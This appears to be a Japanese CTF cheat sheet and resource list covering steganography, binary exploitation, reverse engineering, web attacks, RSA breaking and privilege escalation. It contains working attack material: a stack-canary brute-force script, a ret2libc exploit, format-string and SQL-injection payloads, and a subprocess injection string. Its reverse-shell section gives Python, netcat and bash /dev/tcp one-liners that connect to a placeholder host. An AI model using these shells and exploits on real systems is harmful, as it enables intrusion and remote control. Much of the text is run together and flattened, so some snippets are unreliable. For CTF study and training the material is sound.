
CTF チートシート + 私が参加したセキュリティCTFのいくつかのライトアップ / ファイル
私が行ったいくつかのサイバーCTFのWriteups / ファイル
また、CTFリソースのリストと、多数の一般的なCTFチャレンジを網羅した包括的なチートシートも含めています。
[!NOTE] このリポジトリのWebミラーが hackback.zip で利用可能になりました。
以下に私がまとめたスライドがあります: hackback.zip/presentations
20{19,20,21,22,23,24}.cr.yp.toc.tf でアクセス可能。file <file.xyz>steghide extract -sf <file.xyz>stegseek <file> <password list>binwalk -M --dd=".*" <file.xyz>exiftool <file.xyz>strings <file.xyz>hexedit <file.xyz>ファックス機の音声:
SSTV(スロースキャンテレビ)音声(月関連)

スペクトログラム画像
ピッチ、速度、方向の変更...
DTMF(デュアルトーン多重周波数)電話キー
multimon-ng -a DTMF -t wav <file.wav>
カセットテープ
モールス信号
Photoshopで加工されたかどうかを確認(ハイライトを見る)
pngcheck
pngcheck <file>photorec <file.bin>.imgファイルのマウント:
binwalk -M --dd=".*" <fileName>file を実行し、Linuxファイルシステムファイルを選択します。losetup /dev/loop<freeLoopNumber> <fileSystemFile>tcpflow -r <file.pcap>checksec <binary>rabin2 -I <binary>binary-security-check <bin>.exeseccomp-tools dump ./<binary>readelf -s <binary>rabin2 -z <binary>python -c "import pwn; print(pwn.p32(<intAddr>))python -c "import pwn; print(pwn.p64(<intAddr>))( python -c "print '<PAYLOAD>'" ; cat ) | ./<program>process.interactive() でこれを実行します。pwn cyclic <numChars>dmesg | tail | grep segfault でエラー箇所を確認pwn cyclic -l 0x<errorLocation> で命令ポインタを制御するためのランダムオフセットを取得ROPgadget --ropchain --binary <binary>
gs または fs から取得されます。
- ここで、スタックカナリアはオフセット+8で `rax` に移動されます。
- したがって、次のオフセットでブレークし、rax の中身を確認します(`i r rax`)。これにより現在のカナリアが何であるかがわかります。
**静的カナリア**
- カナリアが静的になるのは、プログラマーが手動で実装した場合(一部の入門的なpwnチャレンジで見られる)、またはプログラムをフォークできる場合のみです。
- バイナリをフォークすると、フォークされたプロセスは同じカナリアを持つため、それに対して1バイトずつブルートフォースを行うことができます。
**補足**
- スタックカナリアが不正に上書きされると、 `__stack_chk_fail` の呼び出しが発生します。
- カナリアをリークできない場合、GOTテーブルを変更してその呼び出しを防ぐこともできます。
- カナリアは現在のスタックの `TLS` 構造体に保存され、 `security_init` によって初期化されます。
- 実際のカナリア値を上書きできる場合、オーバーフローで決定した任意の値に設定することができます。
- 静的4バイトカナリアをブルートフォースするためのシンプルなスクリプト:```python
#!/bin/python3
from pwn import *
#This program is the buffer_overflow_3 in picoCTF 2018
elf = ELF('./vuln')
# Note that it's probably better to use the chr() function too to get special characters and other symbols and letters.
# But this canary was pretty simple :)
alphabet = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890"
canary = ''
# Here we are bruteforcing a canary 4 bytes long
for i in range(1,5):
for letter in range(0,len(alphabet)): # We will go through each letter/number in the string 'alphabet'
p = elf.process() # We start the process
wait = p.recv().decode('utf-8')
p.sendline(str(32+i)) # In this program, we had to specify how many bytes we were gonna send.
wait = p.recv().decode('utf-8')
p.sendline('A'*32 + canary + alphabet[letter]) # We send the 32 A's to overflow, and then the canary we already have + our guess
prompt = p.recv().decode('utf-8')
if "Stack" not in prompt: # The program prints "Stack smashed [...]" if we get wrongfully write the canary.
canary += alphabet[letter] # If it doesn't print that, we got part of our canary :)
break # Move on to the next canary letter/number
print("The canary is: " + canary)
printf(buf) などのようなものを見つけた場合、何を試すべきかは表2を参照してください:
'%s %s %s %s %s %s' のようにすると、スタック内のすべてが文字列とは限らないためエラーが発生することがあります。'%x %x %x %x %x %s' を使用することで、その問題を軽減できます。%x や %s の数を増やし続ける代わりに、パラメータを渡して簡単にすることができます:
%1$s - スタックの最初の値(私の理解では、バッファのすぐ隣の値)を文字列として表示します。%2$s - 2番目の値を文字列として表示します。以下同様です。for i in {1..100}; do echo "%$i\$s" | nc [b7dca240cf1fbf61.247ctf.com](http://b7dca240cf1fbf61.247ctf.com/) 50478; done%hhx は1バイト(intサイズの半分の半分)をリーク%hx は2バイト(intサイズの半分)をリークEIP を上書きして system() ライブラリ関数を呼び出し、さらに実行すべき内容(この例では "/bin/sh" を含むバッファ)を渡します。
良い解説:
良い例 (3:22:44 にジャンプ):
execve("/bin/sh") のアドレスを取得する
one_gadget <libc file>すでに libc ファイルと位置がわかっている場合(つまり、それらをリークする必要がない場合...)```python #!/bin/python3
from pwn import * import os
binaryName = 'ret2libc1'
libc_loc = os.popen(f'ldd {binaryName}').read().split('\n')[1].strip().split()[2]
one_gadget_libc_execve_out = [int(i.split()[0], 16) for i in os.popen(f'one_gadget {libc_loc}').read().split("\n") if "execve" in i]
libc_execve_address = one_gadget_libc_execve_out[1]
p = process(f'./{binaryName}') e = ELF(f'./{binaryName}') l = ELF(libc_loc)
printf_loc = int(p.recvuntil('\n').rstrip(), 16)
printf_libc = l.sym['printf']
libc_base_address = printf_loc - printf_libc
offset = 0x17
payload = b"A"*offset payload += p64(libc_base_address + libc_execve_address)
p.sendline(payload)
p.interactive()
## Reverse Engineering
> 便利なガイド: [https://opensource.com/article/20/4/linux-binary-analysis](https://opensource.com/article/20/4/linux-binary-analysis)
- [Ghidra](https://ghidra-sre.org/)
- 非常に便利なデコンパイラ
- dotPeek または dnSpy
- .NET 実行可能ファイルを逆コンパイル
- [jadx](https://github.com/skylot/jadx) および jadx-gui
- APK を逆コンパイル
- [devtoolzone](https://devtoolzone.com/decompiler/java)
- Java をオンラインで逆コンパイル
- [Quiltflower](https://github.com/QuiltMC/quiltflower/)
- 高度なターミナルベースの Java デコンパイラ
- apktool
- APK を逆コンパイル
- `apktool d *.apk`
- [gdb](https://www.gnu.org/software/gdb/)
- バイナリ解析
- [peda](https://github.com/longld/peda) (機能拡張のための拡張)
- [gef](https://github.com/hugsy/gef) (pwner向けgdb拡張)
- [radare2](https://github.com/radareorg/radare2)
- バイナリ解析
- [FLOSS](https://github.com/mandiant/flare-floss)
- 強化版 `strings`。静的解析を使用して文字列を検出・計算します。
#### SMT ソルバー
- [angr](https://github.com/angr/angr) (python)
- [Docs](https://docs.angr.io/core-concepts/toplevel)
- [Tutorial](https://github.com/Adamkadaban/CTFs/blob/master/.resources/SMT_Solvers.md)
- [z3](https://github.com/Z3Prover/z3)
- [Tutorial](https://github.com/Adamkadaban/CTFs/blob/master/.resources/SMT_Solvers.md)
#### バイト単位チェックのリバース (サイドチャネル攻撃)
[https://dustri.org/b/defeating-the-recons-movfuscator-crackme.html](https://dustri.org/b/defeating-the-recons-movfuscator-crackme.html)
- タイムベース攻撃を使用するチャレンジ用に作成したバージョン:
- ランダム性を考慮して数回実行する必要があるかもしれません```python
#!/bin/python3
from pwn import *
import string
keyLen = 8
binaryName = 'binary'
context.log_level = 'error'
s = ''
print("*"*keyLen)
for chars in range(keyLen):
a = []
for i in string.printable:
p = process(f'perf stat -x, -e cpu-clock ./{binaryName}'.split())
p.readline()
currPass = s + i + '0'*(keyLen - chars - 1)
# print(currPass)
p.sendline(currPass.encode())
p.readline()
p.readline()
p.readline()
info = p.readall().split(b',')[0]
p.close()
try:
a.append((float(info), i))
except:
pass
# print(float(info), i)
a.sort(key = lambda x: x[0])
s += str(a[-1][1])
print(s + "*"*(keyLen - len(s)))
# print(sorted(a, key = lambda x: x[0]))
p = process(f'./{binaryName}')
p.sendline(s.encode())
p.interactive()
grep <string> を実行すると、gef が検索パターンに一致する文字列を自動的に表示します。wpscan --url <site> --plugins-detection mixed -e を実行しますecho <token> > jwt.txtjohn jwt.txtsqlmap --forms --dump-all -u <url>'OR 1=1-- を入力しますffuf -request input.req -request-proto http -w /usr/share/seclists/Fuzzing/special-chars.txt -mc all-fs を使用してサイズをフィルタリングしますcipherText = "" plainText = "" flagCipherText = "" tableFile = ""
with open(cipherText) as fin: cipher = fin.readline().rstrip()
with open(plainText) as fin: plain = fin.readline().rstrip()
with open(flagCipherText) as fin: flag = fin.readline().rstrip()
with open(tableFile) as fin: table = [i.rstrip().split() for i in fin.readlines()]
table[0].insert(0, "") # might have to modify this part. # just a 2d array with the lookup table # should still work if the table is slightly off, but the key will be wrong key = "" for i, c in enumerate(plain[0:100]): col = table[0].index(c) for row in range(len(table)): if table[row][col] == cipher[i]: key += table[row][0] break
print(key)
dec_flag = "" for i, c in enumerate(flag[:-1]): col = table[0].index(key[i]) for row in range(len(table)): if table[row][col] == flag[i]: dec_flag += table[row][0] break
print(dec_flag)
- [換字暗号](https://www.quipqiup.com/)
- [Rot13](https://rot13.com/)
- [鍵付きシーザー暗号](https://www.boxentriq.com/code-breaking/keyed-caesar-cipher)
### RSA
#### pycryptodomeを使用してRSA情報を取得する```python
from Crypto.PublicKey import RSA
keyName = "example.pem"
with open(keyName,'r') as f:
key = RSA.import_key(f.read())
print(key)
# You can also get individual parts of the RSA key
# (sometimes not all of these)
print(key.p)
print(key.q)
print(key.n)
print(key.e)
print(key.d)
print(key.u)
# public keys have n and e
nを因数分解できる場合に使用する
古い```python def egcd(a, b): if a == 0: return (b, 0, 1) g, y, x = egcd(b%a,a) return (g, x - (b//a) * y, y)
def modinv(a, m): g, x, y = egcd(a, m) if g != 1: raise Exception('No modular inverse') return x%m
p = q = e = c =
n = p*q # use factordb command or website to find factors
phi = (p-1)*(q-1) # phi is simply the product of (factor_1-1) * ... * (factor_n -1)
d = modinv(e, phi) # private key
m = pow(c,d,n) # decrypted plaintext message in long integer form
thing = hex(m)[2:] # ascii without extra stuff at the start (0x) print(bytes.fromhex(thing).decode('ascii'))
- 新規```python
#!/bin/python3
from Crypto.Util.number import *
from factordb.factordb import FactorDB
# ints:
n =
e =
c =
f = FactorDB(n)
f.connect()
factors = f.get_factor_list()
phi = 1
for i in factors:
phi *= (i-1)
d = inverse(e, phi)
m = pow(c, d, n)
flag = long_to_bytes(m).decode('UTF-8')
print(flag)
指数が非常に小さい場合(e <= 5)によく使われる
if lo ** index == radicand: return lo elif hi ** index == radicand: return hi else: return -1
c = e =
plaintext = long_to_bytes(nth_root(c, e)) print(plaintext.decode("UTF-8"))
#### Pollards attack (n,e,c)
- [Pollard's factorization method](http://www.math.columbia.edu/~goldfeld/PollardAttack.pdf)に基づき、素数積が(B)smoothである場合、[容易に因数分解](https://people.csail.mit.edu/rivest/pubs/RS01.version-1999-11-22.pdf)できるようにする
- これは、`p-1 | B!` かつ `q - 1` が `B` より大きい因数を持つ場合に該当する```python
from Crypto.Util.number import *
from math import gcd
n =
c =
e =
def pollard(n):
a = 2
b = 2
while True:
a = pow(a,b,n)
d = gcd(a-1,n)
if 1 < d < n:
return d
b += 1
p = pollard(n)
q = n // p
phi = 1
for i in [p,q]:
phi *= (i-1)
d = inverse(e, phi)
m = pow(c, d, n)
flag = long_to_bytes(m).decode('UTF-8')
print(flag)
n = e = c =
d = owiener.attack(e, n) m = pow(c, d, n)
flag = long_to_bytes(m) print(flag)
### Base16, 32, 36, 58, 64, 85, 91, 92
[https://github.com/mufeedvh/basecrack](https://github.com/mufeedvh/basecrack)
## ボックス
### 接続
- ssh
- `ssh <username>@<ip>`
- `ssh <username>@<ip> -i <private key file>`
- SSHをローカルにファイルシステムとしてマウントする:
- `sshfs -p <port> <user>@<ip>: <mount_directory>`
- 既知のホスト
- `ssh-copy-id -i ~/.ssh/id_rsa.pub <user@host>`
- netcat
- `nc <ip> <port>`
### 列挙
- マシン発見
- `netdiscover`
- マシンポートスキャン
- `nmap -sC -sV <ip>`
- Linux列挙
- `enum4linux <ip>`
- SMB列挙
- `smbmap -H <ip>`
- SMB共有に接続
- `smbclient //<ip>/<share>`
### 権限昇格
- [linpeas](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS)
- `./linpeas.sh`
- 自動的に権限昇格ベクトルを探す
- ルートとして実行可能なコマンドを一覧表示
- `sudo -l`
- SUIDパーミッションを持つファイルを検索
- `find / -perm -u=s -type f 2>/dev/null`
- これらのファイルは、実行ユーザーではなく所有者の権限で実行される
- すべてのサービスの権限を検索
- `accesschk.exe -uwcqv *`
- SystemまたはAdministratorアカウント配下にないサービスを探す
- サービスのクエリ
- `sc qc <service name>`
- cmd.exeでのみ動作
### リバースシェルの待ち受け
- `nc -lnvp <port>`
### リバースシェル
- revshells.com
- 基本的に必要なものすべてのテンプレート
- `python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<ip>",<port>));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'`
- `nc -e /bin/sh <ip> <port>`
- `bash -i >& /dev/tcp/<ip>/<port> 0>&1`
### インタラクティブシェルを取得
#### Linux
1. 次のpythonコマンドを実行して部分的にインタラクティブにする: `python -c 'import pty;pty.spawn("/bin/bash");'`
2. `CTRL+Z`でnetcatセッションを終了し、ローカルで`stty raw -echo`を実行する
3. コマンド`fg`でセッションに再入する(必要に応じてジョブIDを後ろにつける)
4. `export TERM=xterm`を実行してターミナルエミュレータをxtermに変更する(必須ではない)
5. `export SHELL=bash`を実行してシェルをbashに変更する(必須ではない)
6. 完了!これでシェルは完全にインタラクティブになるはず
#### Windows / 一般
1. システムに`rlwrap`をインストールする
2. 以降、ncリスナーを実行するたびに、先頭に`rlwrap`を付ける
3. 例: `rlwrap nc -lvnp 1337`
* これにより矢印キーとコマンド履歴が使えるようになるが、Windowsおよび*nixシステムではオートコンプリートは使えない(私の知る限り)
## OSINT
- [pimeyes](https://pimeyes.com/en)
- インターネット上の顔の逆検索
- [OSINT Framework](https://osintframework.com/)
- 多数のOSINTツールを集約したウェブサイト
- [GeoSpy AI](https://geospy.ai)
- 画像から位置情報を推定できる地理空間ビジョンLLM
- [overpass turbo](https://overpass-turbo.eu)
- OpenStreetMap APIをクエリして結果を可視化できるウェブサイト
- [Bellingcat OSM search](https://osm-search.bellingcat.com/)
- OSM APIを簡単にクエリできるウェブサイト
## その他
- DNSエラーの解決
- `dig <site> <recordType>`
- [レコードタイプ一覧](https://en.wikipedia.org/wiki/List_of_DNS_record_types)
- 必ずTXTも試す
- 別のアーキテクチャとしてバイナリを実行
- 64ビット:
- `linux64 ./<binary>`
- 32ビット:
- `linux32 ./<binary>`
- MSマクロの抽出:
- [https://www.onlinehashcrack.com/tools-online-extract-vba-from-office-word-excel.php](https://www.onlinehashcrack.com/tools-online-extract-vba-from-office-word-excel.php)
- CNC Gコードの表示
- [https://ncviewer.com/](https://ncviewer.com/)
ghex <file.xyz>unzip <file.docx>grep -r --text 'picoCTF{.*}'egrep -r --text 'picoCTF{.*?}ltrace ./<file>ltrace -s 100 ./<file>
%x は4バイト(intサイズ)をリーク%lx は8バイト(longサイズ)をリークSELECT * FROM Users WHERE User = '' OR 1=1--' AND Pass = '' と評価されます1=1 が真と評価され、OR 文を満たし、-- によってクエリの残りがコメントアウトされます__import__.('subprocess').getoutput('<command>')
__import__.('subprocess').getoutput('ls').split('\\n')